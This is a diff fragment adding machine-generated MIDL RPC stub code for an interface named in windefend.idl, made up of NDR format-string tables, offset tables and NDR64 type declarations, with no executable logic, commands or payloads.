NdrFcShort( 0x0 ), /* Corr flags: */ +/* 4404 */ + 0x12, 0x0, /* FC_UP */ +/* 4406 */ NdrFcShort( 0xffde ), /* Offset= -34 (4372) */ +/* 4408 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 4410 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 4412 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4414 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 4416 */ NdrFcShort( 0x14 ), /* 20 */ +/* 4418 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 4420 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 4424 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 4426 */ + 0x12, 0x0, /* FC_UP */ +/* 4428 */ NdrFcShort( 0xffc8 ), /* Offset= -56 (4372) */ +/* 4430 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 4432 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 4434 */ NdrFcShort( 0x28 ), /* 40 */ +/* 4436 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4438 */ NdrFcShort( 0xc ), /* Offset= 12 (4450) */ +/* 4440 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 4442 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 4444 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 4446 */ 0x36, /* FC_POINTER */ + 0x36, /* FC_POINTER */ +/* 4448 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 4450 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 4452 */ NdrFcShort( 0xffc0 ), /* Offset= -64 (4388) */ +/* 4454 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 4456 */ NdrFcShort( 0xffd2 ), /* Offset= -46 (4410) */ +/* 4458 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 4460 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4462 */ 0x18, /* Corr desc: field pointer, FC_LONG */ + 0x0, /* */ +/* 4464 */ NdrFcShort( 0x8 ), /* 8 */ +/* 4466 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 4468 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 4472 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 4474 */ + 0x12, 0x0, /* FC_UP */ +/* 4476 */ NdrFcShort( 0xffd4 ), /* Offset= -44 (4432) */ +/* 4478 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 4480 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 4482 */ NdrFcShort( 0x18 ), /* 24 */ +/* 4484 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4486 */ NdrFcShort( 0x8 ), /* Offset= 8 (4494) */ +/* 4488 */ 0x8, /* FC_LONG */ + 0x8, /* FC_LONG */ +/* 4490 */ 0x8, /* FC_LONG */ + 0x40, /* FC_STRUCTPAD4 */ +/* 4492 */ 0x36, /* FC_POINTER */ + 0x5b, /* FC_END */ +/* 4494 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 4496 */ NdrFcShort( 0xffda ), /* Offset= -38 (4458) */ +/* 4498 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 4500 */ NdrFcShort( 0x2 ), /* Offset= 2 (4502) */ +/* 4502 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 4504 */ NdrFcShort( 0x24 ), /* Offset= 36 (4540) */ +/* 4506 */ + 0x1d, /* FC_SMFARRAY */ + 0x0, /* 0 */ +/* 4508 */ NdrFcShort( 0x10 ), /* 16 */ +/* 4510 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 4512 */ + 0x1a, /* FC_BOGUS_STRUCT */ + 0x3, /* 3 */ +/* 4514 */ NdrFcShort( 0x38 ), /* 56 */ +/* 4516 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4518 */ NdrFcShort( 0x0 ), /* Offset= 0 (4518) */ +/* 4520 */ 0x8, /* FC_LONG */ + 0x4c, /* FC_EMBEDDED_COMPLEX */ +/* 4522 */ 0x0, /* 0 */ + NdrFcShort( 0xee65 ), /* Offset= -4507 (16) */ + 0x8, /* FC_LONG */ +/* 4526 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ + 0x0, /* 0 */ +/* 4528 */ NdrFcShort( 0xffea ), /* Offset= -22 (4506) */ +/* 4530 */ 0x8, /* FC_LONG */ + 0x2, /* FC_CHAR */ +/* 4532 */ 0x3d, /* FC_STRUCTPAD1 */ + 0x6, /* FC_SHORT */ +/* 4534 */ 0x6, /* FC_SHORT */ + 0x6, /* FC_SHORT */ +/* 4536 */ 0x6, /* FC_SHORT */ + 0x3e, /* FC_STRUCTPAD2 */ +/* 4538 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 4540 */ + 0x21, /* FC_BOGUS_ARRAY */ + 0x3, /* 3 */ +/* 4542 */ NdrFcShort( 0x0 ), /* 0 */ +/* 4544 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 4546 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 4548 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ +/* 4550 */ NdrFcLong( 0xffffffff ), /* -1 */ +/* 4554 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 4556 */ + 0x12, 0x0, /* FC_UP */ +/* 4558 */ NdrFcShort( 0xffd2 ), /* Offset= -46 (4512) */ +/* 4560 */ 0x5c, /* FC_PAD */ + 0x5b, /* FC_END */ +/* 4562 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 4564 */ NdrFcShort( 0x2 ), /* Offset= 2 (4566) */ +/* 4566 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 4568 */ NdrFcShort( 0x1 ), /* 1 */ +/* 4570 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x0, /* */ +/* 4572 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 4574 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 4576 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ +/* 4578 */ + 0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */ +/* 4580 */ NdrFcShort( 0x2 ), /* Offset= 2 (4582) */ +/* 4582 */ + 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ +/* 4584 */ NdrFcShort( 0x2 ), /* Offset= 2 (4586) */ +/* 4586 */ + 0x1b, /* FC_CARRAY */ + 0x0, /* 0 */ +/* 4588 */ NdrFcShort( 0x1 ), /* 1 */ +/* 4590 */ 0x28, /* Corr desc: parameter, FC_LONG */ + 0x54, /* FC_DEREFERENCE */ +/* 4592 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 4594 */ NdrFcShort( 0x0 ), /* Corr flags: */ +/* 4596 */ 0x2, /* FC_CHAR */ + 0x5b, /* FC_END */ + + 0x0 + } + }; + +static const unsigned short DefaultIfName_FormatStringOffsetTable[] = + { + 0, + 54, + 102, + 162, + 236, + 286, + 342, + 428, + 484, + 540, + 596, + 644, + 700, + 750, + 806, + 862, + 918, + 974, + 1030, + 1086, + 1136, + 1184, + 1246, + 1308, + 1370, + 1426, + 1482, + 1544, + 1600, + 1656, + 1706, + 1766, + 1832, + 1898, + 1958, + 2008, + 2064, + 2114, + 2174, + 2240, + 2294, + 2338, + 2386, + 2440, + 2494, + 2554, + 2626, + 2698, + 2752, + 2802, + 2852, + 2908, + 2964, + 3020, + 3082, + 3132, + 3192, + 3252, + 3312, + 3374, + 3436, + 3486, + 3566, + 3628, + 3714, + 3770, + 3832, + 3882, + 3932, + 3988, + 4044, + 4094, + 4150, + 4206, + 4256, + 4304, + 4354, + 4404, + 4460, + 4510, + 4572, + 4628, + 4678, + 4726, + 4774, + 4816, + 4876, + 4930, + 4980, + 5036, + 5086, + 5136, + 5192, + 5242, + 5292, + 5360, + 5416, + 5466, + 5522, + 5590, + 5640, + 5688, + 5736, + 5808, + 5862, + 5916, + 5976, + 6038, + 6086, + 6128, + 6176, + 6224, + 6266, + 6332, + 6380, + 6440, + 6494, + 6548, + 6608, + 6662, + 6724, + 6786, + 6836, + 6886, + 6942, + 7002, + 7050, + 7104, + 7158, + 7206, + 7260, + 7302, + 7344, + 7404, + 7452, + 7500, + 7592, + 7646, + 7688, + 7742, + 7784, + 7826, + 7886, + 7928, + 7994, + 8066, + 8108, + 8156, + 8228, + 8276, + 8324, + 8372, + 8420, + 8480, + 8528, + 8594, + 8678, + 8744, + 8810, + 8870, + 8948, + 9008, + 9068, + 9164, + 9242, + 9308, + 9398, + 9470, + 9542, + 9602, + 9662, + 9710, + 9794, + 9860, + 9908, + 9962, + 10010, + 10058, + 10112, + 10202, + 10292, + 10394, + 10448, + 10502, + 10550, + 10604, + 10652, + 10706, + 10766, + 10820, + 10880, + 10928, + 10982, + 11036, + 11090, + 11138, + 11194, + 11236, + 11308, + 11380, + 11440, + 11500, + 11554, + 11602, + 11650, + 11698, + 11746, + 11800, + 11884, + 11974, + 12022, + 12076, + 12124, + 12214, + 12262, + 12316, + 12364, + 12430, + 12490, + 12544, + 12586, + 12652, + 12712, + 12778, + 12838, + 12886, + 12940, + 13000, + 13048, + 13102, + 13150, + 13198, + 13270, + 13324, + 13380, + 13434 + }; + + + +#endif /* defined(_M_AMD64)*/ + + + +/* this ALWAYS GENERATED file contains the RPC client stubs */ + + + /* File created by MIDL compiler version 8.01.0628 */ +/* at Mon Jan 18 19:14:07 2038 + */ +/* Compiler settings for windefend.idl: + Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 + protocol : all , ms_ext, c_ext, robust + error checks: allocation ref bounds_check enum stub_data + VC __declspec() decoration level: + __declspec(uuid()), __declspec(selectany), __declspec(novtable) + DECLSPEC_UUID(), MIDL_INTERFACE() +*/ +/* @@MIDL_FILE_HEADING( ) */ + +#if defined(_M_AMD64) + + + + +#if !defined(__RPC_WIN64__) +#error Invalid build platform for this stub. +#endif + + +#include "ndr64types.h" +#include "pshpack8.h" +#ifdef __cplusplus +namespace { +#endif + + +typedef +NDR64_FORMAT_CHAR +__midl_frag2368_t; +extern const __midl_frag2368_t __midl_frag2368; + +typedef +NDR64_FORMAT_CHAR +__midl_frag2367_t; +extern const __midl_frag2367_t __midl_frag2367; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2366_t; +extern const __midl_frag2366_t __midl_frag2366; + +typedef +struct _NDR64_CONFORMANT_STRING_FORMAT +__midl_frag2364_t; +extern const __midl_frag2364_t __midl_frag2364; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2363_t; +extern const __midl_frag2363_t __midl_frag2363; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag2360_t; +extern const __midl_frag2360_t __midl_frag2360; + +typedef +NDR64_FORMAT_CHAR +__midl_frag2355_t; +extern const __midl_frag2355_t __midl_frag2355; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag2354_t; +extern const __midl_frag2354_t __midl_frag2354; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag2353_t; +extern const __midl_frag2353_t __midl_frag2353; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2352_t; +extern const __midl_frag2352_t __midl_frag2352; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag2351_t; +extern const __midl_frag2351_t __midl_frag2351; + +typedef +struct _NDR64_CONTEXT_HANDLE_FORMAT +__midl_frag2346_t; +extern const __midl_frag2346_t __midl_frag2346; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag2345_t; +extern const __midl_frag2345_t __midl_frag2345; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag2338_t; +extern const __midl_frag2338_t __midl_frag2338; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2333_t; +extern const __midl_frag2333_t __midl_frag2333; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag2331_t; +extern const __midl_frag2331_t __midl_frag2331; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag2330_t; +extern const __midl_frag2330_t __midl_frag2330; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2329_t; +extern const __midl_frag2329_t __midl_frag2329; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2328_t; +extern const __midl_frag2328_t __midl_frag2328; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag2325_t; +extern const __midl_frag2325_t __midl_frag2325; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag2324_t; +extern const __midl_frag2324_t __midl_frag2324; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2323_t; +extern const __midl_frag2323_t __midl_frag2323; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; +} +__midl_frag2321_t; +extern const __midl_frag2321_t __midl_frag2321; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag2316_t; +extern const __midl_frag2316_t __midl_frag2316; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2312_t; +extern const __midl_frag2312_t __midl_frag2312; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag2311_t; +extern const __midl_frag2311_t __midl_frag2311; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2307_t; +extern const __midl_frag2307_t __midl_frag2307; + +typedef +struct +{ + struct _NDR64_FIX_ARRAY_HEADER_FORMAT frag1; +} +__midl_frag2306_t; +extern const __midl_frag2306_t __midl_frag2306; + +typedef +struct +{ + struct _NDR64_FIX_ARRAY_HEADER_FORMAT frag1; +} +__midl_frag2305_t; +extern const __midl_frag2305_t __midl_frag2305; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + struct _NDR64_MEMPAD_FORMAT frag10; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag11; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag12; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag13; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag14; + struct _NDR64_MEMPAD_FORMAT frag15; + struct _NDR64_BUFFER_ALIGN_FORMAT frag16; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag17; + } frag2; +} +__midl_frag2304_t; +extern const __midl_frag2304_t __midl_frag2304; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag2303_t; +extern const __midl_frag2303_t __midl_frag2303; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag2302_t; +extern const __midl_frag2302_t __midl_frag2302; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2301_t; +extern const __midl_frag2301_t __midl_frag2301; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2300_t; +extern const __midl_frag2300_t __midl_frag2300; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag2297_t; +extern const __midl_frag2297_t __midl_frag2297; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag2291_t; +extern const __midl_frag2291_t __midl_frag2291; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; +} +__midl_frag2287_t; +extern const __midl_frag2287_t __midl_frag2287; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2286_t; +extern const __midl_frag2286_t __midl_frag2286; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2285_t; +extern const __midl_frag2285_t __midl_frag2285; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag2284_t; +extern const __midl_frag2284_t __midl_frag2284; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag2283_t; +extern const __midl_frag2283_t __midl_frag2283; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; +} +__midl_frag2281_t; +extern const __midl_frag2281_t __midl_frag2281; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag2279_t; +extern const __midl_frag2279_t __midl_frag2279; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag2278_t; +extern const __midl_frag2278_t __midl_frag2278; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + } frag2; +} +__midl_frag2277_t; +extern const __midl_frag2277_t __midl_frag2277; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag2276_t; +extern const __midl_frag2276_t __midl_frag2276; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag2275_t; +extern const __midl_frag2275_t __midl_frag2275; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_NO_REPEAT_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + NDR64_FORMAT_CHAR frag7; + } frag2; +} +__midl_frag2274_t; +extern const __midl_frag2274_t __midl_frag2274; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag2273_t; +extern const __midl_frag2273_t __midl_frag2273; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag2272_t; +extern const __midl_frag2272_t __midl_frag2272; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_MEMPAD_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + } frag2; +} +__midl_frag2271_t; +extern const __midl_frag2271_t __midl_frag2271; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2270_t; +extern const __midl_frag2270_t __midl_frag2270; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2269_t; +extern const __midl_frag2269_t __midl_frag2269; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2266_t; +extern const __midl_frag2266_t __midl_frag2266; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag2265_t; +extern const __midl_frag2265_t __midl_frag2265; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2261_t; +extern const __midl_frag2261_t __midl_frag2261; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag2260_t; +extern const __midl_frag2260_t __midl_frag2260; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag2259_t; +extern const __midl_frag2259_t __midl_frag2259; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2258_t; +extern const __midl_frag2258_t __midl_frag2258; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2257_t; +extern const __midl_frag2257_t __midl_frag2257; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag2254_t; +extern const __midl_frag2254_t __midl_frag2254; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag2248_t; +extern const __midl_frag2248_t __midl_frag2248; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag2241_t; +extern const __midl_frag2241_t __midl_frag2241; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag2240_t; +extern const __midl_frag2240_t __midl_frag2240; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2239_t; +extern const __midl_frag2239_t __midl_frag2239; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2238_t; +extern const __midl_frag2238_t __midl_frag2238; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag2235_t; +extern const __midl_frag2235_t __midl_frag2235; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_NO_REPEAT_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + struct _NDR64_NO_REPEAT_FORMAT frag7; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8; + struct _NDR64_POINTER_FORMAT frag9; + NDR64_FORMAT_CHAR frag10; + } frag2; +} +__midl_frag2228_t; +extern const __midl_frag2228_t __midl_frag2228; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2227_t; +extern const __midl_frag2227_t __midl_frag2227; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag2226_t; +extern const __midl_frag2226_t __midl_frag2226; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + NDR64_UINT32 frag4; +} +__midl_frag2225_t; +extern const __midl_frag2225_t __midl_frag2225; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3; + struct _NDR64_BUFFER_ALIGN_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag2224_t; +extern const __midl_frag2224_t __midl_frag2224; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2223_t; +extern const __midl_frag2223_t __midl_frag2223; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2222_t; +extern const __midl_frag2222_t __midl_frag2222; + +typedef +NDR64_FORMAT_CHAR +__midl_frag2219_t; +extern const __midl_frag2219_t __midl_frag2219; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag2218_t; +extern const __midl_frag2218_t __midl_frag2218; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + 